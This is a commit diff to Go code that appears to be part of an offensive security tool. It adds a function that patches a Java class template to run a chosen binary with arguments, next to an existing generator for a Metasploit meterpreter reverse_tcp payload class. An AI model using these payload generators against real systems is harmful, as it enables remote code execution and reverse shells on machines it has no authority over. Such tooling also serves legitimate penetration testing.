|
8 | 8 | "github.com/pkg/errors" |
9 | 9 | ) |
10 | 10 |
|
11 | | -// GenerateExecute is used to generate class file with execute command. |
| 11 | +// GenerateExecute is used to generate class file for execute command. |
12 | 12 | func GenerateExecute(template []byte, command, class string) ([]byte, error) { |
13 | 13 | const ( |
14 | 14 | fileNameFlag = "Execute.java" |
@@ -70,7 +70,80 @@ func GenerateExecute(template []byte, command, class string) ([]byte, error) { |
70 | 70 | return output.Bytes(), nil |
71 | 71 | } |
72 | 72 |
|
73 | | -// GenerateReverseTCP is used to generate class file with |
| 73 | +// GenerateSystem is used to generate class file for execute command with arguments . |
| 74 | +func GenerateSystem(template []byte, binary, arguments, class string) ([]byte, error) { |
| 75 | + const ( |
| 76 | + fileNameFlag = "System.java" |
| 77 | + binaryFlag = "${bin}" |
| 78 | + argumentFlag = "${args}" |
| 79 | + className = "System\x01" |
| 80 | + uint16Size = 2 |
| 81 | + ) |
| 82 | + |
| 83 | + err := checkJavaClass(template) |
| 84 | + if err != nil { |
| 85 | + return nil, err |
| 86 | + } |
| 87 | + |
| 88 | + // find three special strings |
| 89 | + fileNameIdx := bytes.Index(template, []byte(fileNameFlag)) |
| 90 | + if fileNameIdx == -1 { |
| 91 | + return nil, errors.New("failed to find file name in system template") |
| 92 | + } |
| 93 | + binaryIdx := bytes.Index(template, []byte(binaryFlag)) |
| 94 | + if binaryIdx == -1 { |
| 95 | + return nil, errors.New("failed to find binary flag in system template") |
| 96 | + } |
| 97 | + argumentIdx := bytes.Index(template, []byte(argumentFlag)) |
| 98 | + if argumentIdx == -1 { |
| 99 | + return nil, errors.New("failed to find argument flag in system template") |
| 100 | + } |
| 101 | + classNameIdx := bytes.Index(template, []byte(className)) |
| 102 | + if classNameIdx == -1 { |
| 103 | + return nil, errors.New("failed to find class name in system template") |
| 104 | + } |
| 105 | + |
| 106 | + // check arguments |
| 107 | + if binary == "" { |
| 108 | + return nil, errors.New("empty binary") |
| 109 | + } |
| 110 | + if class == "" { |
| 111 | + class = "System" |
| 112 | + } |
| 113 | + |
| 114 | + // generate output class file |
| 115 | + output := bytes.NewBuffer(make([]byte, 0, len(template)+128)) |
| 116 | + |
| 117 | + // change file name |
| 118 | + output.Write(template[:fileNameIdx-uint16Size]) |
| 119 | + fileName := class + ".java" |
| 120 | + size := beUint16ToBytes(uint16(len(fileName))) |
| 121 | + output.Write(size) |
| 122 | + output.WriteString(fileName) |
| 123 | + |
| 124 | + // change binary |
| 125 | + output.Write(template[fileNameIdx+len(fileNameFlag) : binaryIdx-uint16Size]) |
| 126 | + size = beUint16ToBytes(uint16(len(binary))) |
| 127 | + output.Write(size) |
| 128 | + output.WriteString(binary) |
| 129 | + |
| 130 | + // change argument |
| 131 | + output.Write(template[binaryIdx+len(binaryFlag) : argumentIdx-uint16Size]) |
| 132 | + size = beUint16ToBytes(uint16(len(arguments))) |
| 133 | + output.Write(size) |
| 134 | + output.WriteString(arguments) |
| 135 | + |
| 136 | + // change class name |
| 137 | + output.Write(template[argumentIdx+len(argumentFlag) : classNameIdx-uint16Size]) |
| 138 | + size = beUint16ToBytes(uint16(len(class))) |
| 139 | + output.Write(size) |
| 140 | + output.WriteString(class) |
| 141 | + |
| 142 | + output.Write(template[classNameIdx+len(className)-1:]) |
| 143 | + return output.Bytes(), nil |
| 144 | +} |
| 145 | + |
| 146 | +// GenerateReverseTCP is used to generate class file for |
74 | 147 | // meterpreter: payload/java/meterpreter/reverse_tcp. |
75 | 148 | func GenerateReverseTCP(template []byte, host string, port uint16, token, class string) ([]byte, error) { |
76 | 149 | const ( |
|
0 commit comments